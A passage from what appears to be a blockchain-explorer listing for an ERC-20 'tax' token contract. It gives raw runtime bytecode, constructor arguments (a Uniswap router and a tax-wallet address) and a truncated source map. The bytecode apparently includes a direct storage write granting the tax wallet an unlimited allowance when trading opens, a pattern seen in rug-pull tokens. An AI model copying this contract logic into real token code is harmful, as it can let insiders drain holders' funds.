5060019392505050565b5f546001600160a01b031633146105365760405162461bcd60e51b815260040161052d9061195b565b60405180910390fd5b6040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa15801561057c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a09190611990565b90505f81116105e65760405162461bcd60e51b81526020600482015260126024820152712737903a37b5b2b739903a379031b632b0b960711b604482015260640161052d565b816001600160a01b031663a9059cbb6106065f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610650573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067491906119a7565b50505050565b6004546001600160a01b0316336001600160a01b031614610699575f80fd5b305f9081526001602052604090205480156106b7576106b7816113dc565b4780156106c7576106c78161154c565b5050565b5f546001600160a01b031633146106f45760405162461bcd60e51b815260040161052d9061195b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107655760405162461bcd60e51b815260040161052d9061195b565b6107716009600a611936565b61077f90633b9aca00611944565b600d5561078e6009600a611936565b61079c90633b9aca00611944565b600e555f60078190556008557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107d56009600a611936565b6107e390633b9aca00611944565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461081f5760405162461bcd60e51b815260040161052d9061195b565b5f47116108675760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b604482015260640161052d565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561089e573d5f803e3d5ffd5b50565b5f610473338484610e33565b5f546001600160a01b031633146108d65760405162461bcd60e51b815260040161052d9061195b565b601254600160a01b900460ff16156109305760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161052d565b60115461095c9030906001600160a01b031661094e6009600a611936565b6104f590633b9aca00611944565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109d091906119c6565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a2f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a5391906119c6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a9d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ac191906119c6565b601280546001600160a01b0319166001600160a01b039283169081179091556004546040805160208101939093526002908301525f92169060600160408051601f1981840301815282825280516020918201206001600160a01b039094169083015281019190915260600160408051601f1981840301815291905280516020909101206011549091506001600160a01b031663f305d7194730610b78816001600160a01b03165f9081526001602052604090205490565b5f80610b8b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610bf1573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c1691906119e1565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610c6b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c8f91906119a7565b505f1990556012805460ff60b01b1916600160b01b179055565b5f546001600160a01b03163314610cd25760405162461bcd60e51b815260040161052d9061195b565b6012805460ff60a01b1916600160a01b179055565b6004546001600160a01b0316336001600160a01b031614610d06575f80fd5b4761089e8161154c565b6001600160a01b038316610d725760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052d565b6001600160a01b038216610dd35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052d565b6001600160a01b038216610ef95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052d565b5f8111610f5a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052d565b5f80546001600160a01b03858116911614801590610f8557505f546001600160a01b03848116911614155b1561126757601254600160a01b900460ff1661101d576001600160a01b0384165f9081526003602052604090205460ff1680610fd857506001600160a01b0383165f9081526003602052604090205460ff165b61101d5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161052d565b6012546001600160a01b03858116911614801561104857506011546001600160a01b03848116911614155b801561106c57506001600160a01b0383165f9081526003602052604090205460ff16155b1561118057600d548211156110c35760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161052d565b600e54826110e5856001600160a01b03165f9081526001602052604090205490565b6110ef9190611a0c565b111561113d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161052d565b6111696064611163600954600c54116111585760055461115c565b6007545b8590611583565b90611608565b600c80549192505f61117a83611a1f565b91905055505b6012546001600160a01b0384811691161480156111a657506001600160a01b0384163014155b156111d3576111d06064611163600a54600c54116111c65760065461115c565b6008548590611583565b90505b305f90815260016020526040902054601254600160a81b900460ff1615801561120957506012546001600160a01b038581169116145b801561121e5750601254600160b01b900460ff165b801561122b5750600f5481115b801561123a5750600b54600c54115b1561125c5761125c6112578461125284601054611649565b611649565b6113dc565b6112654761154c565b505b80156112df57305f90815260016020526040902054611286908261165d565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112d69085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461130190836116bb565b6001600160a01b0385165f9081526001602052604090205561134461132683836116bb565b6001600160a01b0385165f908152600160205260409020549061165d565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61138d85856116bb565b60405190815260200160405180910390a350505050565b5f81848411156113c75760405162461bcd60e51b815260040161052d9190611728565b505f6113d38486611a37565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061142257611422611a4a565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611479573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061149d91906119c6565b816001815181106114b0576114b0611a4a565b6001600160a01b0392831660209182029290920101526011546114d69130911684610d10565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061150e9085905f90869030904290600401611a5e565b5f604051808303815f87803b158015611525575f80fd5b505af1158015611537573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156106c7573d5f803e3d5ffd5b5f825f0361159257505f610477565b5f61159d8385611944565b9050826115aa8583611acf565b146116015760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052d565b9392505050565b5f61160183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116fc565b5f8183116116575782611601565b50919050565b5f806116698385611a0c565b9050838110156116015760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052d565b5f61160183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113a4565b5f818361171c5760405162461bcd60e51b815260040161052d9190611728565b505f6113d38486611acf565b5f602080835283518060208501525f5b8181101561175457858101830151858201604001528201611738565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461089e575f80fd5b5f8060408385031215611799575f80fd5b82356117a481611774565b946020939093013593505050565b5f805f606084860312156117c4575f80fd5b83356117cf81611774565b925060208401356117df81611774565b929592945050506040919091013590565b5f60208284031215611800575f80fd5b813561160181611774565b5f806040838503121561181c575f80fd5b823561182781611774565b9150602083013561183781611774565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561189057815f190482111561187657611876611842565b8085161561188357918102915b93841c939080029061185b565b509250929050565b5f826118a657506001610477565b816118b257505f610477565b81600181146118c857600281146118d2576118ee565b6001915050610477565b60ff8411156118e3576118e3611842565b50506001821b610477565b5060208310610133831016604e8410600b8410161715611911575081810a610477565b61191b8383611856565b805f190482111561192e5761192e611842565b029392505050565b5f61160160ff841683611898565b808202811582820484141761047757610477611842565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156119a0575f80fd5b5051919050565b5f602082840312156119b7575f80fd5b81518015158114611601575f80fd5b5f602082840312156119d6575f80fd5b815161160181611774565b5f805f606084860312156119f3575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561047757610477611842565b5f60018201611a3057611a30611842565b5060010190565b8181038181111561047757610477611842565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611aae5784516001600160a01b031683529383019391830191600101611a89565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611ae957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c324a8c631e82143fcab1fdb58163b644f3c997e0fd9b6b4df11d3c0e52a50b464736f6c63430008180033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000007cc824974d649545213626f322b3cec9b52dfac0
-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : taxWallet (address): 0x7cc824974d649545213626f322b3cec9b52dFaC0
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000007cc824974d649545213626f322b3cec9b52dfac0
Deployed Bytecode Sourcemap
3875:9315:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5763:83;;;;;;;;;;-1:-1:-1;5833:5:0;;;;;;;;;;;;-1:-1:-1;;;5833:5:0;;;;5763:83;;;;;;;:::i;:::-;;;;;;;;6646:186;;;;;;;;;;-1:-1:-1;6646:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6646:186:0;1023:187:1;4965:57:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4965:57:0;1215:177:1;5031:41:0;;;;;;;;;;-1:-1:-1;5031:41:0;;;;-1:-1:-1;;;;;5031:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;5031:41:0;1397:229:1;6040:95:0;;;;;;;;;;;;;:::i;6840:446::-;;;;;;;;;;-1:-1:-1;6840:446:0;;;;;:::i;:::-;;:::i;5949:83::-;;;;;;;;;;-1:-1:-1;5949:83:0;;4682:1;2234:36:1;;2222:2;2207:18;5949:83:0;2092:184:1;5079:28:0;;;;;;;;;;-1:-1:-1;5079:28:0;;;;-1:-1:-1;;;;;5079:28:0;;;12885:302;;;;;;;;;;-1:-1:-1;12885:302:0;;;;;:::i;:::-;;:::i;:::-;;12122:366;;;;;;;;;;;;;:::i;6143:119::-;;;;;;;;;;-1:-1:-1;6143:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6236:18:0;6209:7;6236:18;;;:9;:18;;;;;;;6143:119;2900:148;;;;;;;;;;;;;:::i;10800:217::-;;;;;;;;;;;;;:::i;4763:58::-;;;;;;;;;;;;;;;;12693:184;;;;;;;;;;;;;:::i;2686:79::-;;;;;;;;;;-1:-1:-1;2724:7:0;2751:6;-1:-1:-1;;;;;2751:6:0;2686:79;;4828:60;;;;;;;;;;;;;;;;5854:87;;;;;;;;;;-1:-1:-1;5926:7:0;;;;;;;;;;;;-1:-1:-1;;;5926:7:0;;;;5854:87;;6270:192;;;;;;;;;;-1:-1:-1;6270:192:0;;;;;:::i;:::-;;:::i;4895:63::-;;;;;;;;;;;;;;;;11212:865;;;;;;;;;;;;;:::i;11125:79::-;;;;;;;;;;;;;:::i;6470:168::-;;;;;;;;;;-1:-1:-1;6470:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6603:18:0;;;6576:7;6603:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6470:168;12496:189;;;;;;;;;;;;;:::i;6646:186::-;6746:4;6763:39;301:10;6786:7;6795:6;6763:8;:39::i;:::-;-1:-1:-1;6820:4:0;6646:186;;;;;:::o;6040:95::-;6093:7;4741:15;4682:1;4741:2;:15;:::i;:::-;4725:31;;:13;:31;:::i;:::-;6113:14;;6040:95;:::o;6840:446::-;6972:4;6989:36;6999:6;7007:9;7018:6;6989:9;:36::i;:::-;7036:220;7059:6;301:10;7107:138;7163:6;7107:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7107:19:0;;;;;;:11;:19;;;;;;;;301:10;7107:33;;;;;;;;;;:37;:138::i;:::-;7036:8;:220::i;:::-;-1:-1:-1;7274:4:0;6840:446;;;;;:::o;12885:302::-;2813:6;;-1:-1:-1;;;;;2813:6:0;301:10;2813:22;2805:67;;;;-1:-1:-1;;;2805:67:0;;;;;;;:::i;:::-;;;;;;;;;13037:38:::1;::::0;-1:-1:-1;;;13037:38:0;;13069:4:::1;13037:38;::::0;::::1;1569:51:1::0;12995:12:0;;12965:20:::1;::::0;-1:-1:-1;;;;;13037:23:0;::::1;::::0;::::1;::::0;1542:18:1;;13037:38:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13019:56;;13104:1;13094:7;:11;13086:42;;;::::0;-1:-1:-1;;;13086:42:0;;5568:2:1;13086:42:0::1;::::0;::::1;5550:21:1::0;5607:2;5587:18;;;5580:30;-1:-1:-1;;;5626:18:1;;;5619:48;5684:18;;13086:42:0::1;5366:342:1::0;13086:42:0::1;13139:13;-1:-1:-1::0;;;;;13139:22:0::1;;13162:7;2724::::0;2751:6;-1:-1:-1;;;;;2751:6:0;;2686:79;13162:7:::1;13139:40;::::0;-1:-1:-1;;;;;;13139:40:0::1;::::0;;;;;;-1:-1:-1;;;;;5905:32:1;;;13139:40:0::1;::::0;::::1;5887:51:1::0;5954:18;;;5947:34;;;5860:18;;13139:40:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12954:233;;12885:302:::0;:::o;12122:366::-;12188:10;;-1:-1:-1;;;;;12188:10:0;301;-1:-1:-1;;;;;12172:26:0;;12164:35;;;;;;12251:4;12210:20;6236:18;;;:9;:18;;;;;;12272:16;;12268:79;;12305:30;12322:12;12305:16;:30::i;:::-;12378:21;12414:14;;12410:71;;12445:24;12458:10;12445:12;:24::i;:::-;12153:335;;12122:366::o;2900:148::-;2813:6;;-1:-1:-1;;;;;2813:6:0;301:10;2813:22;2805:67;;;;-1:-1:-1;;;2805:67:0;;;;;;;:::i;:::-;3007:1:::1;2991:6:::0;;2970:40:::1;::::0;-1:-1:-1;;;;;2991:6:0;;::::1;::::0;2970:40:::1;::::0;3007:1;;2970:40:::1;3038:1;3021:19:::0;;-1:-1:-1;;;;;;3021:19:0::1;::::0;;2900:148::o;10800:217::-;2813:6;;-1:-1:-1;;;;;2813:6:0;301:10;2813:22;2805:67;;;;-1:-1:-1;;;2805:67:0;;;;;;;:::i;:::-;4741:15:::1;4682:1;4741:2;:15;:::i;:::-;4725:31;::::0;:13:::1;:31;:::i;:::-;10854:12;:22:::0;4741:15:::1;4682:1;4741:2;:15;:::i;:::-;4725:31;::::0;:13:::1;:31;:::i;:::-;10887:14;:24:::0;10937:1:::1;10922:12;:16:::0;;;10949:13:::1;:17:::0;10982:27:::1;4741:15;4682:1;4741:2;:15;:::i;:::-;4725:31;::::0;:13:::1;:31;:::i;:::-;10982:27;::::0;1361:25:1;;;1349:2;1334:18;10982:27:0::1;;;;;;;10800:217::o:0;12693:184::-;2813:6;;-1:-1:-1;;;;;2813:6:0;301:10;2813:22;2805:67;;;;-1:-1:-1;;;2805:67:0;;;;;;;:::i;:::-;12782:1:::1;12758:21;:25;12750:60;;;::::0;-1:-1:-1;;;12750:60:0;;6476:2:1;12750:60:0::1;::::0;::::1;6458:21:1::0;6515:2;6495:18;;;6488:30;-1:-1:-1;;;6534:18:1;;;6527:52;6596:18;;12750:60:0::1;6274:346:1::0;12750:60:0::1;2724:7:::0;2751:6;;12821:48:::1;::::0;-1:-1:-1;;;;;2751:6:0;;;;12847:21:::1;12821:48:::0;::::1;;;::::0;12847:21;;12821:48;2724:7;12821:48;12847:21;2751:6;12821:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12693:184::o:0;6270:192::-;6373:4;6390:42;301:10;6414:9;6425:6;6390:9;:42::i;11212:865::-;2813:6;;-1:-1:-1;;;;;2813:6:0;301:10;2813:22;2805:67;;;;-1:-1:-1;;;2805:67:0;;;;;;;:::i;:::-;11278:11:::1;::::0;-1:-1:-1;;;11278:11:0;::::1;;;11277:12;11269:48;;;::::0;-1:-1:-1;;;11269:48:0;;6827:2:1;11269:48:0::1;::::0;::::1;6809:21:1::0;6866:2;6846:18;;;6839:30;6905:25;6885:18;;;6878:53;6948:18;;11269:48:0::1;6625:347:1::0;11269:48:0::1;11360:15;::::0;11328:58:::1;::::0;11345:4:::1;::::0;-1:-1:-1;;;;;11360:15:0::1;4741;4682:1;4741:2;:15;:::i;:::-;4725:31;::::0;:13:::1;:31;:::i;11328:58::-;11431:15;;;;;;;;;-1:-1:-1::0;;;;;11431:15:0::1;-1:-1:-1::0;;;;;11431:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11413:55:0::1;;11495:4;11519:15;;;;;;;;;-1:-1:-1::0;;;;;11519:15:0::1;-1:-1:-1::0;;;;;11519:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11413:143;::::0;-1:-1:-1;;;;;;11413:143:0::1;::::0;;;;;;-1:-1:-1;;;;;7463:15:1;;;11413:143:0::1;::::0;::::1;7445:34:1::0;7515:15;;7495:18;;;7488:43;7380:18;;11413:143:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11397:13;:159:::0;;-1:-1:-1;;;;;;11397:159:0::1;-1:-1:-1::0;;;;;11397:159:0;;::::1;::::0;;::::1;::::0;;;11618:10:::1;::::0;11639:32:::1;::::0;;::::1;::::0;::::1;7722:51:1::0;;;;11665:5:0::1;7789:18:1::0;;;7782:45;-1:-1:-1;;11618:10:0::1;::::0;7695:18:1;;11639:32:0::1;::::0;;-1:-1:-1;;11639:32:0;;::::1;::::0;;;;;;11629:43;;11639:32:::1;11629:43:::0;;::::1;::::0;-1:-1:-1;;;;;5905:32:1;;;11607:66:0;;::::1;5887:51:1::0;5954:18;;5947:34;;;;5860:18;;11607:66:0::1;::::0;;-1:-1:-1;;11607:66:0;;::::1;::::0;;;;;;11597:77;;11607:66:::1;11597:77:::0;;::::1;::::0;11686:15:::1;::::0;11597:77;;-1:-1:-1;;;;;;11686:15:0::1;:31;11725:21;11770:4;11790:24;11770:4:::0;-1:-1:-1;;;;;6236:18:0;6209:7;6236:18;;;:9;:18;;;;;;;6143:119;11790:24:::1;11829:1;11845::::0;11861:7:::1;2724::::0;2751:6;-1:-1:-1;;;;;2751:6:0;;2686:79;11861:7:::1;11686:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11686:223:0;;;-1:-1:-1;;;;;8492:15:1;;;11686:223:0::1;::::0;::::1;8474:34:1::0;8524:18;;;8517:34;;;;8567:18;;;8560:34;;;;8610:18;;;8603:34;8674:15;;;8653:19;;;8646:44;11883:15:0::1;8706:19:1::0;;;8699:35;8408:19;;11686:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11927:13:0::1;::::0;11958:15:::1;::::0;11920:71:::1;::::0;-1:-1:-1;;;11920:71:0;;-1:-1:-1;;;;;11958:15:0;;::::1;11920:71;::::0;::::1;5887:51:1::0;-1:-1:-1;;5954:18:1;;;5947:34;11927:13:0;::::1;::::0;-1:-1:-1;11920:29:0::1;::::0;5860:18:1;;11920:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;12011:29:0;;12051:11:::1;:18:::0;;-1:-1:-1;;;;12051:18:0::1;-1:-1:-1::0;;;12051:18:0::1;::::0;;11212:865::o;11125:79::-;2813:6;;-1:-1:-1;;;;;2813:6:0;301:10;2813:22;2805:67;;;;-1:-1:-1;;;2805:67:0;;;;;;;:::i;:::-;11178:11:::1;:18:::0;;-1:-1:-1;;;;11178:18:0::1;-1:-1:-1::0;;;11178:18:0::1;::::0;;11125:79::o;12496:189::-;12562:10;;-1:-1:-1;;;;;12562:10:0;301;-1:-1:-1;;;;;12546:26:0;;12538:35;;;;;;12613:21;12645:32;12613:21;12645:12;:32::i;7294:335::-;-1:-1:-1;;;;;7387:19:0;;7379:68;;;;-1:-1:-1;;;7379:68:0;;9258:2:1;7379:68:0;;;9240:21:1;9297:2;9277:18;;;9270:30;9336:34;9316:18;;;9309:62;-1:-1:-1;;;9387:18:1;;;9380:34;9431:19;;7379:68:0;9056:400:1;7379:68:0;-1:-1:-1;;;;;7466:21:0;;7458:68;;;;-1:-1:-1;;;7458:68:0;;9663:2:1;7458:68:0;;;9645:21:1;9702:2;9682:18;;;9675:30;9741:34;9721:18;;;9714:62;-1:-1:-1;;;9792:18:1;;;9785:32;9834:19;;7458:68:0;9461:398:1;7458:68:0;-1:-1:-1;;;;;7537:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7589:32;;1361:25:1;;;7589:32:0;;1334:18:1;7589:32:0;;;;;;;7294:335;;;:::o;7637:2549::-;-1:-1:-1;;;;;7725:18:0;;7717:68;;;;-1:-1:-1;;;7717:68:0;;10066:2:1;7717:68:0;;;10048:21:1;10105:2;10085:18;;;10078:30;10144:34;10124:18;;;10117:62;-1:-1:-1;;;10195:18:1;;;10188:35;10240:19;;7717:68:0;9864:401:1;7717:68:0;-1:-1:-1;;;;;7804:16:0;;7796:64;;;;-1:-1:-1;;;7796:64:0;;10472:2:1;7796:64:0;;;10454:21:1;10511:2;10491:18;;;10484:30;10550:34;10530:18;;;10523:62;-1:-1:-1;;;10601:18:1;;;10594:33;10644:19;;7796:64:0;10270:399:1;7796:64:0;7888:1;7879:6;:10;7871:64;;;;-1:-1:-1;;;7871:64:0;;10876:2:1;7871:64:0;;;10858:21:1;10915:2;10895:18;;;10888:30;10954:34;10934:18;;;10927:62;-1:-1:-1;;;11005:18:1;;;10998:39;11054:19;;7871:64:0;10674:405:1;7871:64:0;7946:17;2751:6;;-1:-1:-1;;;;;7982:15:0;;;2751:6;;7982:15;;;;:32;;-1:-1:-1;2724:7:0;2751:6;-1:-1:-1;;;;;8001:13:0;;;2751:6;;8001:13;;7982:32;7978:1837;;;8036:11;;-1:-1:-1;;;8036:11:0;;;;8031:199;;-1:-1:-1;;;;;8098:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;8126:22:0;;;;;;:18;:22;;;;;;;;8098:50;8068:146;;;;-1:-1:-1;;;8068:146:0;;11286:2:1;8068:146:0;;;11268:21:1;11325:2;11305:18;;;11298:30;-1:-1:-1;;;11344:18:1;;;11337:52;11406:18;;8068:146:0;11084:346:1;8068:146:0;8276:13;;-1:-1:-1;;;;;8268:21:0;;;8276:13;;8268:21;:72;;;;-1:-1:-1;8324:15:0;;-1:-1:-1;;;;;8310:30:0;;;8324:15;;8310:30;;8268:72;:116;;;;-1:-1:-1;;;;;;8362:22:0;;;;;;:18;:22;;;;;;;;8361:23;8268:116;8246:701;;;8437:12;;8427:6;:22;;8419:60;;;;-1:-1:-1;;;8419:60:0;;11637:2:1;8419:60:0;;;11619:21:1;11676:2;11656:18;;;11649:30;11715:27;11695:18;;;11688:55;11760:18;;8419:60:0;11435:349:1;8419:60:0;8554:14;;8544:6;8528:13;8538:2;-1:-1:-1;;;;;6236:18:0;6209:7;6236:18;;;:9;:18;;;;;;;6143:119;8528:13;:22;;;;:::i;:::-;:40;;8498:140;;;;-1:-1:-1;;;8498:140:0;;12121:2:1;8498:140:0;;;12103:21:1;12160:2;12140:18;;;12133:30;12199:28;12179:18;;;12172:56;12245:18;;8498:140:0;11919:350:1;8498:140:0;8669:232;8897:3;8669:201;8741:15;;8729:9;;:27;8728:119;;8833:14;;8728:119;;;8789:12;;8728:119;8669:6;;:32;:201::i;:::-;:227;;:232::i;:::-;8920:9;:11;;8657:244;;-1:-1:-1;8920:9:0;:11;;;:::i;:::-;;;;;;8246:701;8973:13;;-1:-1:-1;;;;;8967:19:0;;;8973:13;;8967:19;:44;;;;-1:-1:-1;;;;;;8990:21:0;;9006:4;8990:21;;8967:44;8963:332;;;9044:235;9275:3;9044:204;9116:16;;9104:9;;:28;9103:122;;9210:15;;9103:122;;;9165:13;;9044:6;;:32;:204::i;:235::-;9032:247;;8963:332;9360:4;9311:28;6236:18;;;:9;:18;;;;;;9404:6;;-1:-1:-1;;;9404:6:0;;;;9403:7;:47;;;;-1:-1:-1;9437:13:0;;-1:-1:-1;;;;;9431:19:0;;;9437:13;;9431:19;9403:47;:79;;;;-1:-1:-1;9471:11:0;;-1:-1:-1;;;9471:11:0;;;;9403:79;:140;;;;;9526:17;;9503:20;:40;9403:140;:191;;;;;9576:18;;9564:9;;:30;9403:191;9381:373;;;9629:109;9668:51;9672:6;9680:38;9684:20;9706:11;;9680:3;:38::i;:::-;9668:3;:51::i;:::-;9629:16;:109::i;:::-;9768:35;9781:21;9768:12;:35::i;:::-;8016:1799;7978:1837;9831:13;;9827:172;;9906:4;9888:24;;;;:9;:24;;;;;;:39;;9917:9;9888:28;:39::i;:::-;9879:4;9861:24;;;;:9;:24;;;;;;;:66;;;;9947:40;;-1:-1:-1;;;;;9947:40:0;;;;;;;9977:9;1361:25:1;;1349:2;1334:18;;1215:177;9947:40:0;;;;;;;;9827:172;-1:-1:-1;;;;;10027:15:0;;;;;;:9;:15;;;;;;:27;;10047:6;10027:19;:27::i;:::-;-1:-1:-1;;;;;10009:15:0;;;;;;:9;:15;;;;;:45;10081:40;10099:21;:6;10110:9;10099:10;:21::i;:::-;-1:-1:-1;;;;;10081:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10065:13:0;;;;;;;:9;:13;;;;;:56;;;;10137:41;;;10156:21;:6;10167:9;10156:10;:21::i;:::-;10137:41;;1361:25:1;;;1349:2;1334:18;10137:41:0;;;;;;;7706:2480;7637:2549;;;:::o;1488:224::-;1608:7;1644:12;1636:6;;;;1628:29;;;;-1:-1:-1;;;1628:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1668:9:0;1680:5;1684:1;1680;:5;:::i;:::-;1668:17;1488:224;-1:-1:-1;;;;;1488:224:0:o;10309:483::-;5286:6;:13;;-1:-1:-1;;;;5286:13:0;-1:-1:-1;;;5286:13:0;;;10411:16:::1;::::0;;10425:1:::1;10411:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10411:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10411:16:0::1;10387:40;;10456:4;10438;10443:1;10438:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10438:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10482:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10482:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10438:7;;10482:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10472:4;10477:1;10472:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10472:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10547:15:::1;::::0;10515:62:::1;::::0;10532:4:::1;::::0;10547:15:::1;10565:11:::0;10515:8:::1;:62::i;:::-;10588:15;::::0;:196:::1;::::0;-1:-1:-1;;;10588:196:0;;-1:-1:-1;;;;;10588:15:0;;:::